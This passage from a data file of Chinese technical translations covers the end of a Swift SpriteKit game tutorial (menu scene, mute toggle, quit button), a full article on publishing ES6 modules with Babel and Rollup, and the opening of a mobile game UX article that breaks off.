=\"RAINCAT_HIGHSCORE\"\n```\n\n创建一个新场景，把它放到 “Scenes” 文件夹里，然后命名为 `MenuScene.swift`。把下面的代码加进去：\n\n```\nimport SpriteKit\n\nclass MenuScene : SKScene {\n\tlet startButtonTexture =SKTexture(imageNamed:\"button_start\")\n\tlet startButtonPressedTexture =SKTexture(imageNamed:\"button_start_pressed\")\n\tlet soundButtonTexture =SKTexture(imageNamed:\"speaker_on\")\n\tlet soundButtonTextureOff =SKTexture(imageNamed:\"speaker_off\")\n\n\tlet logoSprite =SKSpriteNode(imageNamed:\"logo\")\n\tvar startButton : SKSpriteNode!= nil\n\tvar soundButton : SKSpriteNode!= nil\n\n\tlet highScoreNode =SKLabelNode(fontNamed:\"PixelDigivolve\")\n\n\tvar selectedButton : SKSpriteNode?\n\noverride func sceneDidLoad(){\n\tbackgroundColor =SKColor(red:0.30, green:0.81, blue:0.89, alpha:1.0)\n\t\n\t//Set up logo - sprite initialized earlier\n\tlogoSprite.position =CGPoint(x: size.width /2, y: size.height /2+100)\n\t\n\taddChild(logoSprite)\n\t\n\t//Set up start button\n\tstartButton =SKSpriteNode(texture: startButtonTexture)\n\tstartButton.position =CGPoint(x: size.width /2, y: size.height /2- startButton.size.height /2)\n\t\n\taddChild(startButton)\n\t\n\tlet edgeMargin : CGFloat =25\n\t\n\t//Set up sound button\n\tsoundButton =SKSpriteNode(texture: soundButtonTexture)\n\tsoundButton.position =CGPoint(x: size.width - soundButton.size.width /2- edgeMargin, y: soundButton.size.height /2+ edgeMargin)\n\t\n\taddChild(soundButton)\n\t\n\t//Set up high-score node\n\tlet defaults = UserDefaults.standard\n\t\n\tlet highScore = defaults.integer(forKey: ScoreKey)\n\t\n\thighScoreNode.text =\"\\(highScore)\"\n\thighScoreNode.fontSize =90\n\thighScoreNode.verticalAlignmentMode =.top\n\thighScoreNode.position =CGPoint(x: size.width /2, y: startButton.position.y - startButton.size.height /2-50)\n\thighScoreNode.zPosition =1\n\t\n\taddChild(highScoreNode)\n\t}\n}\n  \n```\n\n因为这个场景真的很简单。所以我们不会创建任何特殊的类。我们的场景将只由两个按钮组成。这两个按钮可以（或者说应该）拥有自己的 `SKSpriteNodes` 类，但是因为他们都不一样，所以我不会为他们创建新的类。在构建属于你自己的游戏的时候，这是很重要的一点：在事情变得复杂时，你需要有能力来判断，在哪里停下来并重构代码。一旦你添加了三个或四个以上的按钮到游戏里，那可能就是时候停下来把菜单按钮放到他们自己的类里了。\n\n上面的代码没做什么特别的事儿；只是设置了四个精灵的坐标。当然我们也设置了场景的背景颜色，所以整个背景的值也是正确的。[UI Color](http://uicolor.xyz/) 是一个从十六进制串（HEX strings）生成 Xcode 颜色代码的优秀工具。上面的代码还设置了按钮状态的纹理。开始按钮有一个正常状态和一个按下的状态，而声音按钮则是一个开关。为了让开关简单点，在玩家点击时，我们改变声音按钮上的透明度。当然我们也设置了获得高分的 `SKLabelNode`。\n\n我们的 `MenuScene` 看起来不错。现在，在游戏加载时需要展示场景。到 `GameViewController.swift` 文件，找到下面这行代码：\n\n```\nlet sceneNode =GameScene(size: view.frame.size)\n```\n\n把它换成这个：\n\n```\nlet sceneNode =MenuScene(size: view.frame.size)\n```\n\n这个小改动会默认加载 `MenuScene` 场景，而不是 `GameScene`。\n\n[![我们新的场景!](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_newscene-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_newscene-preview-opt.png)\n\n### 按钮的状态\n\n按钮在 SpriteKit 中可能有些麻烦。有丰富的轮子可以用（我甚至还自己做了一个），但是理论上，你只需要理解这三个函数：\n\n- `touchesBegan(_ touches: with event:)`\n- `touchesMoved(_ touches: with event:)`\n- `touchesEnded(_ touches: with event:)`\n\n在更新伞的时候我们简单提了几句，但是现在我们需要知道接下来的几点：哪个按钮被触摸，玩家是松开按钮还是点击按钮，按钮是不是一直被按着。这个时候就需要 `selectedButton` 变量发挥它的作用了。在触摸开始时，我们就可以通过这个变量来捕获被按的按钮。如果他们拖拽按钮，我们就可以处理并适当的给它一些纹理。在松开按钮时，我们也可以知道他们是否还跟按钮有接触，如果有接触，那就可以提供一些相关联的动作。把下面这些代码添加到 `MenuScene.swift` 的底部：\n\n```\n  override func touchesBegan(_ touches: Set, with event: UIEvent?){\n    if let touch = touches.first {\n      if selectedButton != nil {\n        handleStartButtonHover(isHovering: false)\n        handleSoundButtonHover(isHovering: false)\n    }\n\n    // Check which button was clicked (if any)\n    if startButton.contains(touch.location(in: self)){\n      selectedButton = startButton\n      handleStartButtonHover(isHovering: true)\n    } else if soundButton.contains(touch.location(in: self)){\n      selectedButton = soundButton\n      handleSoundButtonHover(isHovering: true)\n      }\n    }\n  }\n\n  override func touchesMoved(_ touches: Set, with event: UIEvent?){\n    if let touch = touches.first {\n    \n      // Check which button was clicked (if any)\n      if selectedButton == startButton {\n        handleStartButtonHover(isHovering:(startButton.contains(touch.location(in: self))))\n      } else if selectedButton == soundButton {\n        handleSoundButtonHover(isHovering:(soundButton.contains(touch.location(in: self))))\n      }\n    }\n  }\n\noverride func touchesEnded(_ touches: Set, with event: UIEvent?){\n   if let touch = touches.first {\n    \n     if selectedButton == startButton {  \n       // Start button clicked\n       handleStartButtonHover(isHovering: false)\n        \n       if(startButton.contains(touch.location(in: self))){\n         handleStartButtonClick()\n       }\n        \n     } else if selectedButton == soundButton {\n       // Sound button clicked\n         handleSoundButtonHover(isHovering: false)\n          \n         if(soundButton.contains(touch.location(in: self))){\n           handleSoundButtonClick()\n         }\n       }\n     }\n\n   selectedButton = nil\n}\n  \n  /// Handles start button hover behavior\n  func handleStartButtonHover(isHovering : Bool){\n    if isHovering {\n      startButton.texture = startButtonPressedTexture\n    } else {\n      startButton.texture = startButtonTexture\n    }\n  }\n  \n  /// Handles sound button hover behavior\n  func handleSoundButtonHover(isHovering : Bool){\n    if isHovering {\n      soundButton.alpha =0.5\n    }else{\n      soundButton.alpha =1.0\n    }\n  }\n  \n  /// Stubbed out start button on click method\n  func handleStartButtonClick(){\n    print(\"start clicked\")\n  }\n  \n  /// Stubbed out sound button on click method\n  func handleSoundButtonClick(){\n    print(\"sound clicked\")\n  }\n```\n\n这就是对我们两个按钮的简单处理。在 `touchesBegan(_ touches: with events:)` 里，我们首先检查当前是否有按钮被选中。如果我们要做这个检查，我们就要得先重置按钮到没有被按下的状态，然后，检查是否有哪个按钮被按下。如果有被按下的按钮，就显示它的高亮状态，接下来，我们就在其他两个方法里设置按钮的 `selectedButton` 属性以供使用。\n\n在 `touchesMoved(_ touches: with events:)` 方法中，我们检查最初触摸的是哪个按钮。接着，检查当前触摸是否还在 `selectedButton` 的边界内，如果还在，就更新按钮的状态为高亮。`startButton` 的高亮状态是改变按下的纹理，而 `soundButton` 的高亮状态是把精灵的透明度设置为 50%。\n\n最后，在 `touchesEnded(_ touches: with event:)` 方法里，我们再次检查哪个按钮被选中，如果有，接着检查这个触摸时候还在按钮的边界内，如果前面的条件都满足，那么我们根据不同的按钮调用 `handleStartButtonClick()` 或者 `handleSoundButtonClick()`。\n\n### 按钮的动作\n\n现在，我们已经搞定了按钮的基础行为，在按钮被点击的时候，我们还需要一个触发事件。对于 `startButton` 来说，这个实现很容易。我们只需要在点击时展示 `GameScene`。在 `MenuScene.swift` 文件里，更新 `handleStartButtonClick()` 方法里面的代码：\n```\nfunc handleStartButtonClick(){\n\tlet transition = SKTransition.reveal(with:.down, duration:0.75)\n\tlet gameScene =GameScene(size: size)\n\tgameScene.scaleMode = scaleMode\n\tview?.presentScene(gameScene, transition: transition)\n}\n```\n\n如果你现在运行程序，然后点击按钮，游戏就开始了！\n\n接着，我们需要一个静音的切换。我们已经有一个音乐管理器了，但是我们需要告诉它静音是否开启。我们需要在 `Constants.swift` 里添加一个 key 来持久化存储静音状态。添加下面这行代码：\n\n```\nlet MuteKey =\"RAINCAT_MUTED\"\n```\n\n用它把一个布尔类型的值保存到 `UserDefaults` 里。现在这里已经设置完了，我们到 `SoundManager.swift` 文件中。我们在这里通过检查和设置 `UserDefaults` 来确定静音的开关。在文件的顶部，`trackPosition` 变量的下面，加上这行代码：\n\n```\nprivate(set) var isMuted = false\n```   \n\n这个变量用于主菜单（或者其他要播放声音的地方）检查是否允许播放声音。我们给他设置一个 `false` 的初始值，但首先我们需要检查 `UserDefaults` 里，来看看玩家是怎样设置的。把 `init()` 方法换成下面的代码：\n\n```\nprivate override init(){\n\t//This is private, so you can only have one Sound Manager ever.\n\ttrackPosition =Int(arc4random_uniform(UInt32(SoundManager.tracks.count)))\n\t\n\tlet defaults = UserDefaults.standard\n\t\n\tisMuted = defaults.bool(forKey: MuteKey)\n}\n```\n\n做完这些，我们的 `isMuted` 就有默认值了，我们还需要它能够切换。在 `SoundManager.swift` 文件里的底部，加入这些代码：\n\n```\nfunc toggleMute()-> Bool {\n\tisMuted =!isMuted\n\t\n\tlet defaults = UserDefaults.standard\n\tdefaults.set(isMuted, forKey: MuteKey)\n\tdefaults.synchronize()\n\t    \n\tif isMuted {\n\t  audioPlayer?.stop()\n\t   } else {\n\t  startPlaying()\n\t  }\n\t  \n\treturn isMuted\n}\n```\n\n在 `UserDefaults` 更新时，这个方法会切换我们的静音变量，如果新的值不是静音，那音乐就会开始播放；如果新的值是静音，那音乐就不会开始。此外，我们还会停止播放当前的音乐。做完这些，我们还需要修改一下 `startPlaying()` 里的 `if` 语句。\n\n找到下面的代码：\n\n```\nif audioPlayer == nil || audioPlayer?.isPlaying == false {\n```\n\n换成这行：\n\n```\nif!isMuted &&(audioPlayer == nil || audioPlayer?.isPlaying == false){\n```\n\n现在，在静音被关闭时，无论是播放器没有设置，还是当前播放停止了，我们都会继续播放音乐。\n\n从这开始，我们就该完成 `MenuScene.swift` 的静音按钮了。把 `handleSoundbuttonClick()` 方法换成下面的代码：\n\n```\nfunc handleSoundButtonClick(){\n\tif SoundManager.sharedInstance.toggleMute(){\n  \t\t//Is muted\n  \t\tsoundButton.texture = soundButtonTextureOff\n   } else {\n\t  \t//Is not muted\n  \t\tsoundButton.texture = soundButtonTexture\n\t}\n}\n```\n\n这里切换了在 `SoundManager` 的声音，检查结果，接着稍微改变了一下纹理，来告诉玩家音乐是否静音。我们马上就要完成了！只剩下在游戏启动时候，设置按钮的初始纹理。在 `sceneDidLoad()`，找到这行代码：\n\n```\nsoundButton =SKSpriteNode(texture: soundButtonTexture)\n```\n  \n\n替换成下面的：\n\n```\nsoundButton =SKSpriteNode(texture: SoundManager.sharedInstance.isMuted ?\nsoundButtonTextureOff : soundButtonTexture)\n```\n\n上面的例子使用了 [ternary operator](https://developer.apple.com/library/ios/documentation/Swift/Conceptual/Swift_Programming_Language/BasicOperators.html#//apple_ref/doc/uid/TP40014097-CH6-ID60) 来设置正确的纹理。\n\n音乐这部分处理已经完成了，我们到 `CatSprite.swift` 文件，让小猫在静音的时候不能喵喵叫。在 `hitByRain()` 方法，删除散步动作后，添加下面的这行 `if` 语句：\n\n```\nif SoundManager.sharedInstance.isMuted {return}\n```\n\n这条语句会判断游戏是否静音，如果是就返回。这样，我们就可以忽略 `currentRainHits`，`maxRainHits` 和喵喵声的效果了。\n\n所有的这些都弄完之后，是时候来试试静音按钮的效果了。运行游戏，确定是否在播放音乐。关闭音乐，然后重启游戏。确定游戏还是静音的。需要注意的一点是，如果你只是开启静音并用 Xcode 重启游戏，那可能没有足够的时间来向 `UserDefaults` 存储静音变量。玩一下游戏，确认在静音的时候猫不会喵喵的叫。\n\n[![](https://i.vimeocdn.com/video/600110219.webp?mw=700&mh=528)](https://player.vimeo.com/video/189700402)\n\n### 退出游戏\n\n现在为止，我们已经弄完了主菜单的第一种按钮，我们可以通过添加按钮，来为场景处理一些棘手的业务了。一些有趣的交互可以展示出我们游戏的风格；现在，雨伞会随着玩家的触摸而移动到相应的位置。显然，在玩家要退出游戏的时候，雨伞也会移动过去，这肯定是个糟糕的用户体验，所以我们要阻止它发生。\n\n我们会模仿前面添加的开始按钮来实现退出按钮，其中大部分过程都不会变。改变的地方在处理触摸这部分。把你的 `quit_button` 和 `quit_button_pressed` 资源放进 `Assets.xcassets` 文件夹里，然后把下面的代码添加到 `HudNode.swift` 文件中：\n\n```\nprivate var quitButton : SKSpriteNode!\nprivate let quitButtonTexture =SKTexture(imageNamed:\"quit_button\")\nprivate let quitButtonPressedTexture =SKTexture(imageNamed:\"quit_button_pressed\")\n```\n    \n这些变量会处理我们的 `quitButton` 引用，并且会根据退出按钮的不同状态来设置纹理。为了确保不在退出游戏的时候，不小心更新雨伞对象，我们还需要一个变量来告诉指示器（和游戏场景），我们只是和退出按钮交互，而不是雨伞。把下面的代码添加到 `showingHighScore` 变量后面：\n\n```\nprivate(set) var quitButtonPressed = false\n```\n  \n同样的，这是一个只有在 `HudNode` 中才能修改，而其他类只能查看的变量。现在变量已经设置好了，我们可以添加按钮到指示器了。把下面的代码添加到 `setup(size:)` 方法中：\n\n```\nquitButton = SKSpriteNode(texture: quitButtonTexture)\nlet margin : CGFloat =15\nquitButton.position =CGPoint(x: size.width - quitButton.size.width - margin, y: size.height - quitButton.size.height - margin)\nquitButton.zPosition =1000\n  \naddChild(quitButton)\n```\n\n上面的代码会设置退出按钮没被按下状态的纹理。我们也把它的位置设到了右上角，并且把 `zPosition` 的值设置的很高，来让它一直显示在最前面。如果你现在运行游戏，他就会显示在 `GameScene` 里，不过还不能点。\n\n[![Quit button](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_quit-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_quit-preview-opt.png)\n\n现在按钮已经定位，我们还要能够和它交互。在 `GameScene` 中，唯一有交互的地方就是和 `umbrellaSprite` 的交互。在我们的例子里，指示器的优先级比伞高，所以玩家在退出时，不用特意把伞移走。我们可以在 `HudNode.swift` 里创建一些相同的方法来模仿 `GameScene.swift` 里的触摸功能。在 `HudNode.swift` 文件加入下面的代码：\n```\nfunc touchBeganAtPoint(point: CGPoint) {\n  let containsPoint = quitButton.contains(point)\n\n  if quitButtonPressed && !containsPoint {\n    //Cancel the last click\n    quitButtonPressed = false\n    quitButton.texture = quitButtonTexture\n  } else if containsPoint {\n    quitButton.texture = quitButtonPressedTexture\n    quitButtonPressed = true\n  }\n}\n\nfunc touchMovedToPoint(point: CGPoint) {\n  if quitButtonPressed {\n    if quitButton.contains(point) {\n      quitButton.texture = quitButtonPressedTexture\n    } else {\n      quitButton.texture = quitButtonTexture\n    }\n  }\n}\n\nfunc touchEndedAtPoint(point: CGPoint) {\n  if quitButton.contains(point) {\n    //TODO tell the gamescene to quit the game\n  }\n\n  quitButton.texture = quitButtonTexture\n}\n```\n\n上面的代码大部分和 `MenuScene` 创建的差不多。不同的地方是，只需要跟踪一个按钮的状态，所以我们可以在这些方法里处理所有的事情。而且，我们还知道 `GameScene` 里的触摸点的位置，这样就可以检查我们的按钮是否包含触摸点。\n\n移动到 `GameScene.swift`， 并用下面的代码替换 `touchesBegan(_ touches with event:)` 和 `touchesMoved(_ touches: with event:)`：\n\n```\noverride func touchesBegan(_ touches: Set, with event: UIEvent?) {\n  let touchPoint = touches.first?.location(in: self)\n\n  if let point = touchPoint {\n    hudNode.touchBeganAtPoint(point: point)\n\n    if !hudNode.quitButtonPressed {\n      umbrellaNode.setDestination(destination: point)\n    }\n  }\n}\n\noverride func touchesMoved(_ touches: Set, with event: UIEvent?) {\n  let touchPoint = touches.first?.location(in: self)\n\n  if let point = touchPoint {\n    hudNode.touchMovedToPoint(point: point)\n\n    if !hudNode.quitButtonPressed {\n      umbrellaNode.setDestination(destination: point)\n    }\n  }\n}\n\noverride func touchesEnded(_ touches: Set, with event: UIEvent?) {\n\tlet touchPoint = touches.first?.location(in: self)\n\n\tif let point = touchPoint {\n\thudNode.touchEndedAtPoint(point: point)\n\t}\n}\n```\n\n这里，每个方法以几乎相同的方式处理一切。我们告诉指示器玩家和场景交互。然后，检查退出按钮当前是否在捕捉触摸。如果它没有捕捉触摸，那我们就移动伞。我们还在 `touchesEnded(_ touches: with event:)` 方法里添加了点击退出按钮结束的处理，但我们还是没有使用到 `umbrellaSprite`。\n\n[![](https://i.vimeocdn.com/video/600111380.webp?mw=700&mh=549)](https://player.vimeo.com/video/189701318)\n\n我们有个按钮了，现在我们需要一种方式来作用于 `GameScene`。把下面这行代码添加到 `HudeNode.swift` 的顶部：\n\n```\n  var quitButtonAction : (()->())?\n```\n\n这是一个基本的[闭包](https://www.weheartswift.com/closures/)，没有参数也没返回值。我们会在 `GameScene.swift` 文件里设置它，在点击 `HudNode.swift` 里的按钮时候调用。接着，我们就可以用下面的代码，来替换以前在 `touchEndedAtPoint(point:)` 里面创建的 `TODO` 部分：\n        \n```\nif quitButton.contains(point)&& quitButtonAction != nil {\n\tquitButtonAction!()\n}\n```\n    \n现在如果我们设置了 `quitButtonAction` 闭包，它就会在这被调用。\n\n要设置 `quitButtonAction` 闭包，我们就要到 `GameScene.swift` 文件里。在 `sceneDidLoad()` 函数，把设置指示器的代码换成下面的：\n\n```\nhudNode.setup(size: size)\n    \nhudNode.quitButtonAction ={\n  let transition = SKTransition.reveal(with:.up, duration:0.75)\n    \n  let gameScene =MenuScene(size: self.size)\n  gameScene.scaleMode = self.scaleMode\n    \n  self.view?.presentScene(gameScene, transition: transition)\n    \n  self.hudNode.quitButtonAction = nil\n}\n    \naddChild(hudNode)\n```\n\n运行程序，点击开始游戏，然后点退出按钮。如果你回到了主菜单，那说明退出按钮和预期的一样。在闭包里，我们创建并初始化了一个到 `MenuScene` 的过渡。我们还把这个闭包设置为 `HUD` 的节点，当点击退出按钮时运行闭包。这里，另一行重要的代码是我们把 `quitButtonAction` 设为 `nil`。这么做的原因是有一个循环引用产生了。场景持有一个指示器的引用，而指示器也持有一个场景的引用。因为他们两个互相引用，导致在垃圾回收的时候，他们都不会被处理。这种情形下，每次我们进入和离开 `GameScene` 的时候，都会有一个新的实例被创建，并且从来都不释放。这对性能有严重的影响，游戏最后一定会内存爆炸。有很多种方式来避免它，但在我们这里，只是从指示器中移除对 `GameScene` 的引用，这样在我们回到 `MenuScene` 的时候，场景和指示器都会被终止。对于引用类型和如何避免循环引用，[Krakendev 有一些更深的见解](http://krakendev.io/blog/weak-and-unowned-references-in-swift) 。\n\n现在，到 `GameViewController.swift` 文件，把下面的这几行代码注掉或者删除：\n\n```\nview.showsPhysics = true\nview.showsFPS = true\nview.showsNodeCount = true\n```\n  \n把调试信息去掉以后，游戏看起来真的很不错！恭喜你：我们已经现在进入 beta 版了！在 [GitHub](https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-lesson-three) 上找到今天的最终代码。\n\n### 最后的思考\n\n这是三遍教程的最后一篇，如果你一直跟着到这，那你已经对你的游戏付出了很多工作。在本教程中，你把一个一无所有的场景，变成了一个完整的游戏。恭喜！在[第一课](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-build-a-spritekit-game-in-swift-3-part-1.md)里，我们添加了地面，雨滴，背景和雨伞精灵。我们还通过物理引擎来确保雨滴没有堆积在一起。我们用碰撞检测来移除节点，这样就解决了内存溢出的问题。我们也添加了一些交互来允许伞向玩家触摸屏幕的位置移动。\n\n在[第二课](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-build-a-spritekit-game-in-swift-3-part-2.md)里，我们添加了猫和食物，为他们定制了一些不同的生成方法。我们还更新了碰撞检测，让猫精灵和食物精灵产生一些作用。我们也在猫的移动上做了一些处理。小猫有一个目的：吃掉每一个食物。我们为猫添加了简单的动画效果，还增加了猫和雨滴之间的交互。最后，我们添加了音效和背景音乐，让我们的程序看上去更像一个完整的游戏。\n\n在这最后的一篇教程里，我们创建了一个指示器放我们的分数标签和退出按钮。我们处理节点上的操作，并使用户能够从指示器节点的回调里退出。我们还添加了一个玩家启动游戏的场景，并可以在点击退出按钮后返回。我们还处理了开始游戏和控制游戏中的声音的过程。\n\n#### 接下来做什么\n\n我们做到这一步用了很久，但这个游戏还有许多工作需要继续。RainCat 也会继续发展，而且它已经可以在 [App Store](https://itunes.apple.com/us/app/raincat/id1152624676?ls=1&amp;mt=8) 下载了。下面的列表是一些想要加的和需要加的功能。有一些已经加上了，还有一些待定中：\n\n- 添加 icon 图标和启动画面。\n- 完成主菜单（教程的是简化版）。\n- 修复 bug，包括烦人的雨滴和多重食物的生成。\n- 重构并优化代码。\n- 根据得分更改游戏的调色板。\n- 根据得分更新难度。\n- 当食物在猫的正上方，让猫有一些动作。\n- 集成 Game Center。\n- 标明出处（包括一些适当的音乐曲目）。\n\n请持续关注 [GitHub](https://github.com/thirteen23/RainCat)，因为在不久的将来这些都会被实现。如果你对代码有任何的问题，随时可以在 [hello@thirteen23.com](mailto:hello@thirteen23.com) 给我们留言，我们可以一起讨论它。如果问题有足够的关注，那也许我们会专门写一篇文章来探讨这些问题。\n\n#### 感谢！\n\n我真的很感谢所有那些，在制作游戏和写文章的过程中，与之相伴的人。\n\n- [Cathryn Rowe](https://www.thirteen23.com/about/#cathryn-rowe)\n\n提供了游戏最初的美术，设计和编辑，并且在 [Garage](https://www.thirteen23.com/garage/) 发布了文章。\n- [Morgan Wheaton](https://www.thirteen23.com/about/#morgan-wheaton)\n\n提供了游戏最终菜单的设计和调色板（如果我实现了这些，效果肯定酷炫 — 敬请期待）。\n- [Nikki Clark](https://www.thirteen23.com/about/#nikki-clark)\n\n提供了文章中漂亮的标题和分割符，并且帮助编写文章。\n- [Laura Levisay](https://www.thirteen23.com/about/#laura-levisay)\n\n提供了三篇文章里所有漂亮的 GIF 图片，还很友好的把小猫的 GIF 也发给了我。\n- [Tom Hudson](https://www.thirteen23.com/about/#tom-hudson)\n\n提供了编辑文章的帮助，如果没有他，这个系列可能都不会出现。\n- [Lani DeGuire](https://www.thirteen23.com/about/#lani-deguire)\n\n提供了编辑文章的帮助，这的确是一项大工程。\n- [Jeff Moon](https://www.thirteen23.com/about/#jeffrey-moon)\n\n提供了第三课的编辑工作和乒乓球，很多的乒乓球（译者注：这里原文就是ping-pong，译者的理解是，可能他们写代码有点累，所以打了会乒乓球。）\n- [Tom Nelson](https://www.thirteen23.com/about/#tom-nelson)\n\n正因为这些帮助，教程才会像预计的那样完成。\n\n认真的说，真的用了一大堆人来准备这篇文章，并发布到商店。\n\n也谢谢每一位读到这句话的读者，感谢。\n"
  },
  {
    "path": "TODO/how-to-build-and-publish-es6-modules-today-with-babel-and-rollup.md",
    "content": ">* 原文链接 : [How to Build and Publish ES6 Modules Today, with Babel and Rollup](https://medium.com/@tarkus/how-to-build-and-publish-es6-modules-today-with-babel-and-rollup-4426d9c7ca71#.oqt9xunbj)\n* 原文作者 : [Konstantin Tarkus](https://medium.com/@tarkus)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [L9m](https://github.com/L9m)\n* 校对者: [yangzj1992](https://github.com/yangzj1992), [malcolmyu](https://github.com/malcolmyu)\n\n# 如何用 Babel 和 Rollup 来构建和发布 ES6 模块\n\nES2015 规范，也称作 ES6，早在2015年六月被 ECMA 国际（ECMA International）批准为正式标准。在2016年四月，Node.js 基金会发布了支持 93% ES6语言特性的 Node.js 框架 v6，这要归功于 V8（引擎）的 v5.0（Node.js）。\n\n很难说用 ES6 及以上的语法和现有语法特性替代第三方库和 polyfills 有明显的好处。比如语法更加简洁，更可读的代码，更少的抽象，更易于代码库的维护和扩展，能让开发你的库更快，在精益创业术语中意味着**市场首入**。\n\n如果你正在开发一个基于 Node.js 平台的全新 JavaScript 库（npm 模块），或许在优化后的 Node.js v6 环境中将它发布在 NPM , 并对还在使用 Node.js v5 和更早版本的开发者选择性地提供回退可能是一个好主意。好让 Node.js 6 的用户能常规地导入你的库：\n\n    const MyLibrary = require('my-library');\n\n确保代码在 Node.js 6 环境中运行正常。 而且 Node 0.x 、4.x 、5.x 的用户也可以导入你的库的 ES5.1 版本来作为替代（通过 Babel 将 ES6 转换成 ES5.1）：\n\n    var MyLibrary = require('my-library/legacy');\n\n除此之外，在此强烈建议将使用 ES2015 模块语法的另一个版本的库包含到你的 NPM 包中。[模块](https://twitter.com/koistya/status/726042867211325440) 还没有落地到 Node.js 和 V8 中，但是由于 WebPack、Browserify、JSPM 和 Babel 编译器，而在 Node.js 和前端社区中被广泛使用。为此，你需要将源码编译成针对 Node.js 6 优化的一种可分发格式（distributable format），另外要确保源码中的 import/export 声明不会被转换成 ES5 模块的 exports 语法。让我们示范一下使用 Rollup 和 Babel 该怎么做。你项目的目录结构可能如下：\n\n    .\n    ├── /dist/                  # Temp folder for compiled output\n    │   ├── /legacy/            # Legacy bundle(s) for Node 0.x, 4.x\n    │   │   ├── /main.js        # ES5.1 bundle for Node 0.x, 4.x\n    │   │   └── /package.json   # Legacy NPM module settings\n    │   ├── /main.js            # ES6 bundle /w CommonJS for Node v6\n    │   ├── /main.mjs           # ES6 bundle /w Modules for cool kids\n    │   ├── /main.browser.js    # ES5.1 bundle for browsers\n    │   ├── /my-library.js      # UMD bundle for browsers\n    │   ├── /my-library.min.js  # UMD bundle, minified and optimized\n    │   └── /package.json       # NPM module settings\n    ├── /node_modules/          # 3rd-party libraries and utilities\n    ├── /src/                   # ES2015+ source code\n    │   ├── /main.js            # The main entry point\n    │   ├── /sub-module-a.js    # A module referenced in main.js\n    │   └── /sub-module-b.js    # A module referenced in main.js\n    ├── /test/                  # Unit and end-to-end tests\n    ├── /tools/                 # Build automation scripts and utilities\n    │   └── /build.js           # Builds the project with Babel/Rollup\n    └── package.json            # Project settings\n\n这里有一个包含你的库的 （使用）ES2015+ 语法源码的 “src” 文件夹，和一个你创建项目生成的 “dist” （或“build”）文件夹。在 “dist” 文件夹中包含你发布 NPM 的 CommonJS、ES6 和 UMD bundles（用 Babel 和 Rollup 编译）。\n\n“package.json” 文件包含这些依赖包的引用：\n\n      {  \n      \"name\": \"my-library\",  \n      \"version\": \"1.0.0\",  \n      \"main\": \"main.js\",  \n      \"jsnext:main\": \"main.mjs\",  \n      \"browser\": \"main.browser.js\",  \n      ...  \n    }\n\n“tools/build.js” 脚本是配置编译步骤的一个简便方法。它看起来如下：\n\n    'use strict';\n\n    const fs = require('fs');\n    const del = require('del');\n    const rollup = require('rollup');\n    const babel = require('rollup-plugin-babel');\n    const uglify = require('rollup-plugin-uglify');\n    const pkg = require('../package.json');\n\n    const bundles = [\n      {\n        format: 'cjs', ext: '.js', plugins: [],\n        babelPresets: ['stage-1'], babelPlugins: [\n          'transform-es2015-destructuring',\n          'transform-es2015-function-name',\n          'transform-es2015-parameters'\n        ]\n      },\n      {\n        format: 'es6', ext: '.mjs', plugins: [],\n        babelPresets: ['stage-1'], babelPlugins: [\n          'transform-es2015-destructuring',\n          'transform-es2015-function-name',\n          'transform-es2015-parameters'\n        ]\n      },\n      {\n        format: 'cjs', ext: '.browser.js', plugins: [],\n        babelPresets: ['es2015-rollup', 'stage-1'], babelPlugins: []\n      },\n      {\n        format: 'umd', ext: '.js', plugins: [],\n        babelPresets: ['es2015-rollup', 'stage-1'], babelPlugins: [],\n        moduleName: 'my-library'\n      },\n      {\n        format: 'umd', ext: '.min.js', plugins: [uglify()]\n        babelPresets: ['es2015-rollup', 'stage-1'], babelPlugins: [],\n        moduleName: 'my-library', minify: true\n      }\n    ];\n\n    let promise = Promise.resolve();\n\n    // Clean up the output directory\n    promise = promise.then(() => del(['dist/*']));\n\n    // Compile source code into a distributable format with Babel and Rollup\n    for (const config of bundles) {\n      promise = promise.then(() => rollup.rollup({\n        entry: 'src/main.js',\n        external: Object.keys(pkg.dependencies),\n        plugins: [\n          babel({\n            babelrc: false,\n            exclude: 'node_modules/**',\n            presets: config.babelPresets,\n            plugins: config.babelPlugins,\n          })\n        ].concat(config.plugins),\n      }).then(bundle => bundle.write({\n        dest: `dist/${config.moduleName || 'main'}${config.ext}`,\n        format: config.format,\n        sourceMap: !config.minify,\n        moduleName: config.moduleName,\n      })));\n    }\n\n    // Copy package.json and LICENSE.txt\n    promise = promise.then(() => {\n      delete pkg.private;\n      delete pkg.devDependencies;\n      delete pkg.scripts;\n      delete pkg.eslintConfig;\n      delete pkg.babel;\n      fs.writeFileSync('dist/package.json', JSON.stringify(pkg, null, '  '), 'utf-8');\n      fs.writeFileSync('dist/LICENSE.txt', fs.readFileSync('LICENSE.txt', 'utf-8'), 'utf-8');\n    });\n\n    promise.catch(err => console.error(err.stack)); // eslint-disable-line no-console\n\n\n\n现在你可以通过运行 “node tools/build”（假设你本地已经安装 Node.js）在 “dist” 文件夹中构建你的库并进行 NPM 发布。\n\n我希望这篇文章能有助于开发者了解在 NPM 上发布 ES6 （模块） 的最佳方法。你也可以在这里找到一个预配置的 NPM 库样板： [https://github.com/kriasoft/babel-starter-kit](https://github.com/kriasoft/babel-starter-kit)\n\n如果你有什么意见或建议，欢迎在下方留言。Happy Coding!\n\n"
  },
  {
    "path": "TODO/how-to-build-mobile-games-with-people-in-mind.md",
    "content": "> * 原文地址：[How to build mobile games with people in mind](https://medium.com/googleplaydev/how-to-build-mobile-games-with-people-in-mind-cdc480967fcc)\n> * 原文作者：[Player Research](https://medium.com/@player_research?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-build-mobile-games-with-people-in-mind.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-build-mobile-games-with-people-in-mind.md)\n> * 译者：[hanliuxin5](https://github.com/hanliuxin5)\n> * 校对者：[Potpot](https://github.com/pot-code)，[Quorafind](https://github.com/Quorafind)\n\n# 如何打造以人为本的移动游戏\n\n用户体验的设计原则，用来帮助您打造人们想要的游戏。来自 [Seb 